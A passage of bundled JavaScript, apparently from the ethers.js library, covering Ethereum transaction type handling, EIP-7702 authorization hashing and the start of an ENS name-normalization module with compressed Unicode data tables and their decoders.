types = this.inferTypes();\n // Prefer London (EIP-1559) over Cancun (BLOb)\n if (types.indexOf(2) >= 0) {\n return 2;\n }\n // Return the highest inferred type\n return (types.pop());\n }\n /**\n * Validates the explicit properties and returns a list of compatible\n * transaction types.\n */\n inferTypes() {\n // Checks that there are no conflicting properties set\n const hasGasPrice = this.gasPrice != null;\n const hasFee = (this.maxFeePerGas != null || this.maxPriorityFeePerGas != null);\n const hasAccessList = (this.accessList != null);\n const hasBlob = (this.#maxFeePerBlobGas != null || this.#blobVersionedHashes);\n //if (hasGasPrice && hasFee) {\n // throw new Error(\"transaction cannot have gasPrice and maxFeePerGas\");\n //}\n if (this.maxFeePerGas != null && this.maxPriorityFeePerGas != null) {\n assert(this.maxFeePerGas >= this.maxPriorityFeePerGas, \"priorityFee cannot be more than maxFee\", \"BAD_DATA\", { value: this });\n }\n //if (this.type === 2 && hasGasPrice) {\n // throw new Error(\"eip-1559 transaction cannot have gasPrice\");\n //}\n assert(!hasFee || (this.type !== 0 && this.type !== 1), \"transaction type cannot have maxFeePerGas or maxPriorityFeePerGas\", \"BAD_DATA\", { value: this });\n assert(this.type !== 0 || !hasAccessList, \"legacy transaction cannot have accessList\", \"BAD_DATA\", { value: this });\n const types = [];\n // Explicit type\n if (this.type != null) {\n types.push(this.type);\n }\n else {\n if (this.authorizationList && this.authorizationList.length) {\n types.push(4);\n }\n else if (hasFee) {\n types.push(2);\n }\n else if (hasGasPrice) {\n types.push(1);\n if (!hasAccessList) {\n types.push(0);\n }\n }\n else if (hasAccessList) {\n types.push(1);\n types.push(2);\n }\n else if (hasBlob && this.to) {\n types.push(3);\n }\n else {\n types.push(0);\n types.push(1);\n types.push(2);\n types.push(3);\n }\n }\n types.sort();\n return types;\n }\n /**\n * Returns true if this transaction is a legacy transaction (i.e.\n * ``type === 0``).\n *\n * This provides a Type Guard that the related properties are\n * non-null.\n */\n isLegacy() {\n return (this.type === 0);\n }\n /**\n * Returns true if this transaction is berlin hardform transaction (i.e.\n * ``type === 1``).\n *\n * This provides a Type Guard that the related properties are\n * non-null.\n */\n isBerlin() {\n return (this.type === 1);\n }\n /**\n * Returns true if this transaction is london hardform transaction (i.e.\n * ``type === 2``).\n *\n * This provides a Type Guard that the related properties are\n * non-null.\n */\n isLondon() {\n return (this.type === 2);\n }\n /**\n * Returns true if this transaction is an [[link-eip-4844]] BLOB\n * transaction.\n *\n * This provides a Type Guard that the related properties are\n * non-null.\n */\n isCancun() {\n return (this.type === 3);\n }\n /**\n * Create a copy of this transaciton.\n */\n clone() {\n return Transaction.from(this);\n }\n /**\n * Return a JSON-friendly object.\n */\n toJSON() {\n const s = (v) => {\n if (v == null) {\n return null;\n }\n return v.toString();\n };\n return {\n type: this.type,\n to: this.to,\n // from: this.from,\n data: this.data,\n nonce: this.nonce,\n gasLimit: s(this.gasLimit),\n gasPrice: s(this.gasPrice),\n maxPriorityFeePerGas: s(this.maxPriorityFeePerGas),\n maxFeePerGas: s(this.maxFeePerGas),\n value: s(this.value),\n chainId: s(this.chainId),\n sig: this.signature ? this.signature.toJSON() : null,\n accessList: this.accessList\n };\n }\n /**\n * Create a **Transaction** from a serialized transaction or a\n * Transaction-like object.\n */\n static from(tx) {\n if (tx == null) {\n return new Transaction();\n }\n if (typeof (tx) === \"string\") {\n const payload = getBytes(tx);\n if (payload[0] >= 0x7f) { // @TODO: > vs >= ??\n return Transaction.from(_parseLegacy(payload));\n }\n switch (payload[0]) {\n case 1: return Transaction.from(_parseEip2930(payload));\n case 2: return Transaction.from(_parseEip1559(payload));\n case 3: return Transaction.from(_parseEip4844(payload));\n case 4: return Transaction.from(_parseEip7702(payload));\n }\n assert(false, \"unsupported transaction type\", \"UNSUPPORTED_OPERATION\", { operation: \"from\" });\n }\n const result = new Transaction();\n if (tx.type != null) {\n result.type = tx.type;\n }\n if (tx.to != null) {\n result.to = tx.to;\n }\n if (tx.nonce != null) {\n result.nonce = tx.nonce;\n }\n if (tx.gasLimit != null) {\n result.gasLimit = tx.gasLimit;\n }\n if (tx.gasPrice != null) {\n result.gasPrice = tx.gasPrice;\n }\n if (tx.maxPriorityFeePerGas != null) {\n result.maxPriorityFeePerGas = tx.maxPriorityFeePerGas;\n }\n if (tx.maxFeePerGas != null) {\n result.maxFeePerGas = tx.maxFeePerGas;\n }\n if (tx.maxFeePerBlobGas != null) {\n result.maxFeePerBlobGas = tx.maxFeePerBlobGas;\n }\n if (tx.data != null) {\n result.data = tx.data;\n }\n if (tx.value != null) {\n result.value = tx.value;\n }\n if (tx.chainId != null) {\n result.chainId = tx.chainId;\n }\n if (tx.signature != null) {\n result.signature = Signature.from(tx.signature);\n }\n if (tx.accessList != null) {\n result.accessList = tx.accessList;\n }\n if (tx.authorizationList != null) {\n result.authorizationList = tx.authorizationList;\n }\n // This will get overwritten by blobs, if present\n if (tx.blobVersionedHashes != null) {\n result.blobVersionedHashes = tx.blobVersionedHashes;\n }\n // Make sure we assign the kzg before assigning blobs, which\n // require the library in the event raw blob data is provided.\n if (tx.kzg != null) {\n result.kzg = tx.kzg;\n }\n if (tx.blobs != null) {\n result.blobs = tx.blobs;\n }\n if (tx.hash != null) {\n assertArgument(result.isSigned(), \"unsigned transaction cannot define '.hash'\", \"tx\", tx);\n assertArgument(result.hash === tx.hash, \"hash mismatch\", \"tx\", tx);\n }\n if (tx.from != null) {\n assertArgument(result.isSigned(), \"unsigned transaction cannot define '.from'\", \"tx\", tx);\n assertArgument(result.from.toLowerCase() === (tx.from || \"\").toLowerCase(), \"from mismatch\", \"tx\", tx);\n }\n return result;\n }\n}\n//# sourceMappingURL=transaction.js.map","import { getAddress } from \"../address/index.js\";\nimport { keccak256 } from \"../crypto/index.js\";\nimport { recoverAddress } from \"../transaction/index.js\";\nimport { assertArgument, concat, encodeRlp, toBeArray } from \"../utils/index.js\";\n/**\n * Computes the [[link-eip-7702]] authorization digest to sign.\n */\nexport function hashAuthorization(auth) {\n assertArgument(typeof (auth.address) === \"string\", \"invalid address for hashAuthorization\", \"auth.address\", auth);\n return keccak256(concat([\n \"0x05\", encodeRlp([\n (auth.chainId != null) ? toBeArray(auth.chainId) : \"0x\",\n getAddress(auth.address),\n (auth.nonce != null) ? toBeArray(auth.nonce) : \"0x\",\n ])\n ]));\n}\n/**\n * Return the address of the private key that produced\n * the signature %%sig%% during signing for %%message%%.\n */\nexport function verifyAuthorization(auth, sig) {\n return recoverAddress(hashAuthorization(auth), sig);\n}\n//# sourceMappingURL=authorization.js.map","import { keccak256 } from \"../crypto/index.js\";\nimport { toUtf8Bytes } from \"../utils/index.js\";\n/**\n * A simple hashing function which operates on UTF-8 strings to\n * compute an 32-byte identifier.\n *\n * This simply computes the [UTF-8 bytes](toUtf8Bytes) and computes\n * the [[keccak256]].\n *\n * @example:\n * id(\"hello world\")\n * //_result:\n */\nexport function id(value) {\n return keccak256(toUtf8Bytes(value));\n}\n//# sourceMappingURL=id.js.map","// created 2023-09-25T01:01:55.148Z\n// compressed base64-encoded blob for include-ens data\n// source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js\n// see: https://github.com/adraffy/ens-normalize.js#security\n// SHA-256: 0565ed049b9cf1614bb9e11ba7d8ac6a6fb96c893253d890f7e2b2884b9ded32\nvar COMPRESSED$1 = 'AEEUdwmgDS8BxQKKAP4BOgDjATAAngDUAIMAoABoAOAAagCOAEQAhABMAHIAOwA9ACsANgAmAGIAHgAuACgAJwAXAC0AGgAjAB8ALwAUACkAEgAeAAkAGwARABkAFgA5ACgALQArADcAFQApABAAHgAiABAAGgAeABMAGAUhBe8BFxREN8sF2wC5AK5HAW8ArQkDzQCuhzc3NzcBP68NEfMABQdHBuw5BV8FYAA9MzkI9r4ZBg7QyQAWA9CeOwLNCjcCjqkChuA/lm+RAsXTAoP6ASfnEQDytQFJAjWVCkeXAOsA6godAB/cwdAUE0WlBCN/AQUCQRjFD/MRBjHxDQSJbw0jBzUAswBxme+tnIcAYwabAysG8QAjAEMMmxcDqgPKQyDXCMMxA7kUQwD3NXOrAKmFIAAfBC0D3x4BJQDBGdUFAhEgVD8JnwmQJiNWYUzrg0oAGwAUAB0AFnNcACkAFgBP9h3gPfsDOWDKneY2ChglX1UDYD30ABsAFAAdABZzIGRAnwDD8wAjAEEMzRbDqgMB2sAFYwXqAtCnAsS4AwpUJKRtFHsadUz9AMMVbwLpABM1NJEX0ZkCgYMBEyMAxRVvAukAEzUBUFAtmUwSAy4DBTER33EftQHfSwB5MxJ/AjkWKQLzL8E/cwBB6QH9LQDPDtO9ASNriQC5DQANAwCK21EFI91zHwCoL9kBqQcHBwcHKzUDowBvAQohPvU3fAQgHwCyAc8CKQMA5zMSezr7ULgFmDp/LzVQBgEGAi8FYQVgt8AFcTtlQhpCWEmfe5tmZ6IAExsDzQ8t+X8rBKtTAltbAn0jsy8Bl6utPWMDTR8Ei2kRANkDBrNHNysDBzECQWUAcwFpJ3kAiyUhAJ0BUb8AL3EfAbfNAz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v19l/0kH2mR35iv/FI+yjoHJ9gPMz67af3Mq/BoWXqu3rphiWMXVkmnPSEkpGpUI2h1MThideGFEOK6YZHPwYzMBvpNC7+ZHxPb7epfefGyIB4JzO9DTNEYnDLVVHdQyvOEVefrk6Uv5kTQYVYWWdqrdcIl7yljwwIWdfQ/y+2QB3eR/qxYObuYyB4gTbo2in4PzarU1sO9nETkmj9/AoxDA+JM3GMqQtJR4jtduHtnoCLxd1gQUscHRB/MoRYIEsP2pDZ9KvHgtlk1iTbWWbHhohwFEYX7y51fUV2nuUmnoUcqnWIQAAgl9LTVX+Bc0QGNEhChxHR4YjfE51PUdGfsSFE6ck7BL3/hTf9jLq4G1IafINxOLKeAtO7quulYvH5YOBc+zX7CrMgWnW47/jfRsWnJjYYoE7xMfWV2HN2iyIqLI';\nconst FENCED = new Map([[8217,\"apostrophe\"],[8260,\"fraction slash\"],[12539,\"middle dot\"]]);\nconst NSM_MAX = 4;\n\nfunction decode_arithmetic(bytes) {\r\n\tlet pos = 0;\r\n\tfunction u16() { return (bytes[pos++] << 8) | bytes[pos++]; }\r\n\t\r\n\t// decode the frequency table\r\n\tlet symbol_count = u16();\r\n\tlet total = 1;\r\n\tlet acc = [0, 1]; // first symbol has frequency 1\r\n\tfor (let i = 1; i < symbol_count; i++) {\r\n\t\tacc.push(total += u16());\r\n\t}\r\n\r\n\t// skip the sized-payload that the last 3 symbols index into\r\n\tlet skip = u16();\r\n\tlet pos_payload = pos;\r\n\tpos += skip;\r\n\r\n\tlet read_width = 0;\r\n\tlet read_buffer = 0; \r\n\tfunction read_bit() {\r\n\t\tif (read_width == 0) {\r\n\t\t\t// this will read beyond end of buffer\r\n\t\t\t// but (undefined|0) => zero pad\r\n\t\t\tread_buffer = (read_buffer << 8) | bytes[pos++];\r\n\t\t\tread_width = 8;\r\n\t\t}\r\n\t\treturn (read_buffer >> --read_width) & 1;\r\n\t}\r\n\r\n\tconst N = 31;\r\n\tconst FULL = 2**N;\r\n\tconst HALF = FULL >>> 1;\r\n\tconst QRTR = HALF >> 1;\r\n\tconst MASK = FULL - 1;\r\n\r\n\t// fill register\r\n\tlet register = 0;\r\n\tfor (let i = 0; i < N; i++) register = (register << 1) | read_bit();\r\n\r\n\tlet symbols = [];\r\n\tlet low = 0;\r\n\tlet range = FULL; // treat like a float\r\n\twhile (true) {\r\n\t\tlet value = Math.floor((((register - low + 1) * total) - 1) / range);\r\n\t\tlet start = 0;\r\n\t\tlet end = symbol_count;\r\n\t\twhile (end - start > 1) { // binary search\r\n\t\t\tlet mid = (start + end) >>> 1;\r\n\t\t\tif (value < acc[mid]) {\r\n\t\t\t\tend = mid;\r\n\t\t\t} else {\r\n\t\t\t\tstart = mid;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (start == 0) break; // first symbol is end mark\r\n\t\tsymbols.push(start);\r\n\t\tlet a = low + Math.floor(range * acc[start] / total);\r\n\t\tlet b = low + Math.floor(range * acc[start+1] / total) - 1;\r\n\t\twhile (((a ^ b) & HALF) == 0) {\r\n\t\t\tregister = (register << 1) & MASK | read_bit();\r\n\t\t\ta = (a << 1) & MASK;\r\n\t\t\tb = (b << 1) & MASK | 1;\r\n\t\t}\r\n\t\twhile (a & ~b & QRTR) {\r\n\t\t\tregister = (register & HALF) | ((register << 1) & (MASK >>> 1)) | read_bit();\r\n\t\t\ta = (a << 1) ^ HALF;\r\n\t\t\tb = ((b ^ HALF) << 1) | HALF | 1;\r\n\t\t}\r\n\t\tlow = a;\r\n\t\trange = 1 + b - a;\r\n\t}\r\n\tlet offset = symbol_count - 4;\r\n\treturn symbols.map(x => { // index into payload\r\n\t\tswitch (x - offset) {\r\n\t\t\tcase 3: return offset + 0x10100 + ((bytes[pos_payload++] << 16) | (bytes[pos_payload++] << 8) | bytes[pos_payload++]);\r\n\t\t\tcase 2: return offset + 0x100 + ((bytes[pos_payload++] << 8) | bytes[pos_payload++]);\r\n\t\t\tcase 1: return offset + bytes[pos_payload++];\r\n\t\t\tdefault: return x - 1;\r\n\t\t}\r\n\t});\r\n}\t\r\n\r\n// returns an iterator which returns the next symbol\r\nfunction read_payload(v) {\r\n\tlet pos = 0;\r\n\treturn () => v[pos++];\r\n}\r\nfunction read_compressed_payload(s) {\r\n\treturn read_payload(decode_arithmetic(unsafe_atob(s)));\r\n}\r\n\r\n// unsafe in the sense:\r\n// expected well-formed Base64 w/o padding \r\n// 20220922: added for https://github.com/adraffy/ens-normalize.js/issues/4\r\nfunction unsafe_atob(s) {\r\n\tlet lookup = [];\r\n\t[...'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'].forEach((c, i) => lookup[c.charCodeAt(0)] = i);\r\n\tlet n = s.length;\r\n\tlet ret = new Uint8Array((6 * n) >> 3);\r\n\tfor (let i = 0, pos = 0, width = 0, carry = 0; i < n; i++) {\r\n\t\tcarry = (carry << 6) | lookup[s.charCodeAt(i)];\r\n\t\twidth += 6;\r\n\t\tif (width >= 8) {\r\n\t\t\tret[pos++] = (carry >> (width -= 8));\r\n\t\t}\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\n// eg. [0,1,2,3...] => [0,-1,1,-2,...]\r\nfunction signed(i) { \r\n\treturn (i & 1) ? (~i >> 1) : (i >> 1);\r\n}\r\n\r\nfunction read_deltas(n, next) {\r\n\tlet v = Array(n);\r\n\tfor (let i = 0, x = 0; i < n; i++) v[i] = x += signed(next());\r\n\treturn v;\r\n}\r\n\r\n// [123][5] => [0 3] [1 1] [0 0]\r\nfunction read_sorted(next, prev = 0) {\r\n\tlet ret = [];\r\n\twhile (true) {\r\n\t\tlet x = next();\r\n\t\tlet n = next();\r\n\t\tif (!n) break;\r\n\t\tprev += x;\r\n\t\tfor (let i = 0; i < n; i++) {\r\n\t\t\tret.push(prev + i);\r\n\t\t}\r\n\t\tprev += n + 1;\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\nfunction read_sorted_arrays(next) {\r\n\treturn read_array_while(() => { \r\n\t\tlet v = read_sorted(next);\r\n\t\tif (v.length) return v;\r\n\t});\r\n}\r\n\r\n// returns map of x => ys\r\nfunction read_mapped(next) {\r\n\tlet ret = [];\r\n\twhile (true) {\r\n\t\tlet w = next();\r\n\t\tif (w == 0) break;\r\n\t\tret.push(read_linear_table(w, next));\r\n\t}\r\n\twhile (true) {\r\n\t\tlet w = next() - 1;\r\n\t\tif (w < 0) break;\r\n\t\tret.push(read_replacement_table(w, next));\r\n\t}\r\n\treturn ret.flat();\r\n}\r\n\r\n// read until next is falsy\r\n// return array of read values\r\nfunction read_array_while(next) {\r\n\tlet v = [];\r\n\twhile (true) {\r\n\t\tlet x = next(v.length);\r\n\t\tif (!x) break;\r\n\t\tv.push(x);\r\n\t}\r\n\treturn v;\r\n}\r\n\r\n// read w columns of length n\r\n// return as n rows of length w\r\nfunction read_transposed(n, w, next) {\r\n\tlet m = Array(n).fill().map(() => []);\r\n\tfor (let i = 0; i < w; i++) {\r\n\t\tread_deltas(n, next).forEach((x, j) => m[j].push(x));\r\n\t}\r\n\treturn m;\r\n}\r\n \r\n// returns [[x, ys], [x+dx, ys+dy], [x+2*dx, ys+2*dy], ...]\r\n// where dx/dy = steps, n = run size, w = length of y\r\nfunction read_linear_table(w, next) {\r\n\tlet dx = 1 + next();\r\n\tlet dy = next();\r\n\tlet vN = read_array_while(next);\r\n\tlet m = read_transposed(vN.length, 1+w, next);\r\n\treturn m.flatMap((v, i) => {\r\n\t\tlet [x, ...ys] = v;\r\n\t\treturn Array(vN[i]).fill().map((_, j) => {\r\n\t\t\tlet j_dy = j * dy;\r\n\t\t\treturn [x + j * dx, ys.map(y => y + j_dy)];\r\n\t\t});\r\n\t});\r\n}\r\n\r\n// return [[x, ys...], ...]\r\n// where w = length of y\r\nfunction read_replacement_table(w, next) { \r\n\tlet n = 1 + next();\r\n\tlet m = read_transposed(n, 1+w, next);\r\n\treturn m.map(v => [v[0], v.slice(1)]);\r\n}\r\n\r\n\r\nfunction read_trie(next) {\r\n\tlet ret = [];\r\n\tlet sorted = read_sorted(next); \r\n\texpand(decode([]), []);\r\n\treturn ret; // not sorted\r\n\tfunction decode(Q) { // characters that lead into this node\r\n\t\tlet S = next(); // state: valid, save, check\r\n\t\tlet B = read_array_while(() => { // buckets leading to new nodes\r\n\t\t\tlet cps = read_sorted(next).map(i => sorted[i]);\r\n\t\t\tif (cps.length) return decode(cps);\r\n\t\t});\r\n\t\treturn {S, B, Q};\r\n\t}\r\n\tfunction expand({S, B}, cps, saved) {\r\n\t\tif (S & 4 && saved === cps[cps.length-1]) return;\r\n\t\tif (S & 2) saved = cps[cps.length-1];\r\n\t\tif (S & 1) ret.push(cps); \r\n\t\tfor (let br of B) {\r\n\t\t\tfor (let cp of br.Q) {\r\n\t\t\t\texpand(br, [...cps, cp], saved);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\n\nfunction hex_cp(cp) {\r\n\treturn cp.toString(16).toUpperCase().padStart(2, '0');\r\n}\r\n\r\nfunction quote_cp(cp) {\r\n\treturn `{${hex_cp(cp)}}`; // raffy convention: like \"\\u{X}\" w/o the \"\\u\"\r\n}\r\n\r\n/*\r\nexport function explode_cp(s) {\r\n\treturn [...s].map(c => c.codePointAt(0));\r\n}\r\n*/\r\nfunction explode_cp(s) { // this is about 2x faster\r\n\tlet cps = [];\r\n\tfor (let pos = 0, len = s.length; pos < len; ) {\r\n\t\tlet cp = s.codePointAt(pos);\r\n\t\tpos += cp < 0x10000 ? 1 : 2;\r\n\t\tcps.push(cp);\r\n\t}\r\n\treturn cps;\r\n}\r\n\r\nfunction str_from_cps(cps) {\r\n\tconst chunk = 4096;\r\n\tlet len = cps.length;\r\n\tif (len < chunk) return String.fromCodePoint(...cps);\r\n\tlet buf = [];\r\n\tfor (let i = 0; i < len; ) {\r\n\t\tbuf.push(String.fromCodePoint(...cps.slice(i, i += chunk)));\r\n\t}\r\n\treturn buf.join('');\r\n}\r\n\r\nfunction compare_arrays(a, b) {\r\n\tlet n = a.length;\r\n\tlet c = n - b.length;\r\n\tfor (let i = 0; c == 0 && i < n; i++) c = a[i] - b[i];\r\n\treturn c;\r\n}\n\n// created 2023-09-25T01:01:55.148Z\n// compressed base64-encoded blob for include-nf data\n// source: https://github.com/adraffy/ens-normalize.js/blob/main/src/make.js\n// see: https://github.com/adraffy/ens-normalize.js#security\n// SHA-256: a974b6f8541fc29d919bc85118af0a44015851fab5343f8679cb31be2bdb209e\nvar COMPRESSED = 'AEUDTAHBCFQATQDRADAAcgAgADQAFAAsABQAHwAOACQADQARAAoAFwAHABIACAAPAAUACwAFAAwABAAQAAMABwAEAAoABQAIAAIACgABAAQAFAALAAIACwABAAIAAQAHAAMAAwAEAAsADAAMAAwACgANAA0AAwAKAAkABAAdAAYAZwDSAdsDJgC0CkMB8xhZAqfoC190UGcThgBurwf7PT09Pb09AjgJum8OjDllxHYUKXAPxzq6tABAxgK8ysUvWAgMPT09PT09PSs6LT2HcgWXWwFLoSMEEEl5RFVMKvO0XQ8ExDdJMnIgsj26PTQyy8FfEQ8AY8IPAGcEbwRwBHEEcgRzBHQEdQR2BHcEeAR6BHsEfAR+BIAEgfndBQoBYgULAWIFDAFiBNcE2ATZBRAFEQUvBdALFAsVDPcNBw13DYcOMA4xDjMB4BllHI0B2grbAMDpHLkQ7QHVAPRNQQFnGRUEg0yEB2uaJF8AJpIBpob5AERSMAKNoAXqaQLUBMCzEiACnwRZEkkVsS7tANAsBG0RuAQLEPABv9HICTUBXigPZwRBApMDOwAamhtaABqEAY8KvKx3LQ4ArAB8UhwEBAVSagD8AEFZADkBIadVj2UMUgx5Il4ANQC9AxIB1BlbEPMAs30CGxlXAhwZKQIECBc6EbsCoxngzv7UzRQA8M0BawL6ZwkN7wABAD33OQRcsgLJCjMCjqUChtw/km+NAsXPAoP2BT84PwURAK0RAvptb6cApQS/OMMey5HJS84UdxpxTPkCogVFITaTOwERAK5pAvkNBOVyA7q3BKlOJSALAgUIBRcEdASpBXqzABXFSWZOawLCOqw//AolCZdvv3dSBkEQGyelEPcMMwG1ATsN7UvYBPEGOwTJH30Z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SgI0T8B6/sfHAJYZaZ78thjOSIFumNWLQbeZixDCCC+v0YBtkxiBB3jefHqZ/dFHU+crbj6OvS1x/JDD7vlm7zOVPwpUC01nhxZuY/63E7g';\n\n// https://unicode.org/reports/tr15/\r\n// for reference implementation\r\n// see: /derive/nf.js\r\n\r\n\r\n// algorithmic hangul\r\n// https://www.unicode.org/versions/Unicode15.0.0/ch03.pdf (page 144)\r\nconst S0 = 0xAC00;\r\nconst L0 = 0x1100;\r\nconst V0 = 0x1161;\r\nconst T0 = 0x11A7;\r\nconst L_COUNT = 19;\r\nconst V_COUNT = 21;\r\nconst T_COUNT = 28;\r\nconst N_COUNT = V_COUNT * T_COUNT;\r\nconst S_COUNT = L_COUNT * N_COUNT;\r\nconst S1 = S0 + S_COUNT;\r\nconst L1 = L0 + L_COUNT;\r\nconst V1 = V0 + V_COUNT;\r\nconst T1 = T0 + T_COUNT;\r\n\r\nfunction unpack_cc(packed) {\r\n\treturn (packed >> 24) & 0xFF;\r\n}\r\nfunction unpack_cp(packed) {\r\n\treturn packed & 0xFFFFFF;\r\n}\r\n\r\nlet SHIFTED_RANK, EXCLUSIONS, DECOMP, RECOMP;\r\n\r\nfunction init$1() {\r\n\t//console.time('nf');\r\n\tlet r = read_compressed_payload(COMPRESSED);\r\n\tSHIFTED_RANK = new Map(read_sorted_arrays(r).flatMap((v, i) => v.map(x => [x, (i+1) << 24]))); // pre-shifted\r\n\tEXCLUSIONS = new Set(read_sorted(r));\r\n\tDECOMP = new Map();\r\n\tRECOMP = new Map();\r\n\tfor (let [cp, cps] of read_mapped(r)) {\r\n\t\tif (!EXCLUSIONS.has(cp) && cps.length == 2) {\r\n\t\t\tlet [a, b] = cps;\r\n\t\t\tlet bucket = RECOMP.get(a);\r\n\t\t\tif (!bucket) {\r\n\t\t\t\tbucket = new Map();\r\n\t\t\t\tRECOMP.set(a, bucket);\r\n\t\t\t}\r\n\t\t\tbucket.set(b, cp);\r\n\t\t}\r\n\t\tDECOMP.set(cp, cps.reverse()); // stored reversed\r\n\t}\r\n\t//console.timeEnd('nf');\r\n\t// 20230905: 11ms\r\n}\r\n\r\nfunction is_hangul(cp) {\r\n\treturn cp >= S0 && cp < S1;\r\n}\r\n\r\nfunction compose_pair(a, b) {\r\n\tif (a >= L0 && a < L1 && b >= V0 && b < V1) {\r\n\t\treturn S0 + (a - L0) * N_COUNT + (b - V0) * T_COUNT;\r\n\t} else if (is_hangul(a) && b > T0 && b < T1 && (a - S0) % T_COUNT == 0) {\r\n\t\treturn a + (b - T0);\r\n\t} else {\r\n\t\tlet recomp = RECOMP.get(a);\r\n\t\tif (recomp) {\r\n\t\t\trecomp = recomp.get(b);\r\n\t\t\tif (recomp) {\r\n\t\t\t\treturn recomp;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn -1;\r\n\t}\r\n}\r\n\r\nfunction decomposed(cps) {\r\n\tif (!SHIFTED_RANK) init$1();\r\n\tlet ret = [];\r\n\tlet buf = [];\r\n\tlet check_order = false;\r\n\tfunction add(cp) {\r\n\t\tlet cc = SHIFTED_RANK.get(cp);\r\n\t\tif (cc) {\r\n\t\t\tcheck_order = true;\r\n\t\t\tcp |= cc;\r\n\t\t}\r\n\t\tret.push(cp);\r\n\t}\r\n\tfor (let cp of cps) {\r\n\t\twhile (true) {\r\n\t\t\tif (cp < 0x80) {\r\n\t\t\t\tret.push(cp);\r\n\t\t\t} else if (is_hangul(cp)) {\r\n\t\t\t\tlet s_index = cp - S0;\r\n\t\t\t\tlet l_index = s_index / N_COUNT | 0;\r\n\t\t\t\tlet v_index = (s_index % N_COUNT) / T_COUNT | 0;\r\n\t\t\t\tlet t_index = s_index % T_COUNT;\r\n\t\t\t\tadd(L0 + l_index);\r\n\t\t\t\tadd(V0 + v_index);\r\n\t\t\t\tif (t_index > 0) add(T0 + t_index);\r\n\t\t\t} else {\r\n\t\t\t\tlet mapped = DECOMP.get(cp);\r\n\t\t\t\tif (mapped) {\r\n\t\t\t\t\tbuf.push(...mapped);\r\n\t\t\t\t} else {\r\n\t\t\t\t\tadd(cp);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (!buf.length) break;\r\n\t\t\tcp = buf.pop();\r\n\t\t}\r\n\t}\r\n\tif (check_order && ret.length > 1) {\r\n\t\tlet prev_cc = unpack_cc(ret[0]);\r\n\t\tfor (let i = 1; i < ret.length; i++) {\r\n\t\t\tlet cc = unpack_cc(ret[i]);\r\n\t\t\tif (cc == 0 || prev_cc <= cc) {\r\n\t\t\t\tprev_cc = cc;\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tlet j = i-1;\r\n\t\t\twhile (true) {\r\n\t\t\t\tlet tmp = ret[j+1];\r\n\t\t\t\tret[j+1] = ret[j];\r\n\t\t\t\tret[j] = tmp;\r\n\t\t\t\tif (!j) break;\r\n\t\t\t\tprev_cc = unpack_cc(ret[--j]);\r\n\t\t\t\tif (prev_cc <= cc) break;\r\n\t\t\t}\r\n\t\t\tprev_cc = unpack_cc(ret[i]);\r\n\t\t}\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\nfunction composed_from_decomposed(v) {\r\n\tlet ret = [];\r\n\tlet stack = [];\r\n\tlet prev_cp = -1;\r\n\tlet prev_cc = 0;\r\n\tfor (let packed of v) {\r\n\t\tlet cc = unpack_cc(packed);\r\n\t\tlet cp = unpack_cp(packed);\r\n\t\tif (prev_cp == -1) {\r\n\t\t\tif (cc == 0) {\r\n\t\t\t\tprev_cp = cp;\r\n\t\t\t} else {\r\n\t\t\t\tret.push(cp);\r\n\t\t\t}\r\n\t\t} else if (prev_cc > 0 && prev_cc >= cc) {\r\n\t\t\tif (cc == 0) {\r\n\t\t\t\tret.push(prev_cp, ...stack);\r\n\t\t\t\tstack.length = 0;\r\n\t\t\t\tprev_cp = cp;\r\n\t\t\t} else {\r\n\t\t\t\tstack.push(cp);\r\n\t\t\t}\r\n\t\t\tprev_cc = cc;\r\n\t\t} else {\r\n\t\t\tlet composed = compose_pair(prev_cp, cp);\r\n\t\t\tif (composed >= 0) {\r\n\t\t\t\tprev_cp = composed;\r\n\t\t\t} else if (prev_cc == 0 && cc == 0) {\r\n\t\t\t\tret.push(prev_cp);\r\n\t\t\t\tprev_cp = cp;\r\n\t\t\t} else {\r\n\t\t\t\tstack.push(cp);\r\n\t\t\t\tprev_cc = cc;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (prev_cp >= 0) {\r\n\t\tret.push(prev_cp, ...stack);\t\r\n\t}\r\n\treturn ret;\r\n}\r\n\r\n// note: cps can be iterable\r\nfunction nfd(cps) {\r\n\treturn decomposed(cps).map(unpack_cp);\r\n}\r\nfunction nfc(cps) {\r\n\treturn composed_from_decomposed(decomposed(cps));\r\n}\n\nconst HYPHEN = 0x2D;\r\nconst STOP = 0x2E;\r\nconst STOP_CH = '.';\r\nconst FE0F = 0xFE0F;\r\nconst UNIQUE_PH = 1;\r\n\r\n// 20230913: replace [...v] with Array_from(v) to avoid large spreads\r\nconst Array_from = x => Array.from(x); // Array.from.bind(Array);\r\n\r\nfunction group_has_cp(g, cp) {\r\n\t// 20230913: keep primary and secondary distinct instead of creating valid union\r\n\treturn g.P.has(cp) || g.Q.has(cp);\r\n}\r\n\r\nclass Emoji extends Array {\r\n\tget is_emoji() { return true; } // free tagging system\r\n}\r\n\r\nlet MAPPED, IGNORED, CM, NSM, ESCAPE, NFC_CHECK, GROUPS, WHOLE_VALID, WHOLE_MAP, VALID, EMOJI_LIST, EMOJI_ROOT;\r\n\r\nfunction init() {\r\n\tif (MAPPED) return;\r\n\t\r\n\tlet r = read_compressed_payload(COMPRESSED$1);\r\n\tconst read_sorted_array = () => read_sorted(r);\r\n\tconst read_sorted_set = () => new Set(read_sorted_array());\r\n\tconst set_add_many = (set, v) => v.forEach(x => set.add(x));\r\n\r\n\tMAPPED = new Map(read_mapped(r)); \r\n\tIGNORED = read_sorted_set(); // ignored characters are not valid, so just read raw codepoints\r\n\r\n\t/*\r\n\t// direct include from payload is smaller than the decompression code\r\n\tconst FENCED = new Map(read_array_while(() => {\r\n\t\tlet cp = r();\r\n\t\tif (cp) return [cp, read_str(r())];\r\n\t}));\r\n\t*/\r\n\t// 20230217: we still need all CM for proper error formatting\r\n\t// but norm only needs NSM subset that are potentially-valid\r\n\tCM = read_sorted_array();\r\n\tNSM = new Set(read_sorted_array().map(i => CM[i]));\r\n\tCM = new Set(CM);\r\n\t\r\n\tESCAPE = read_sorted_set(); // characters that should not be 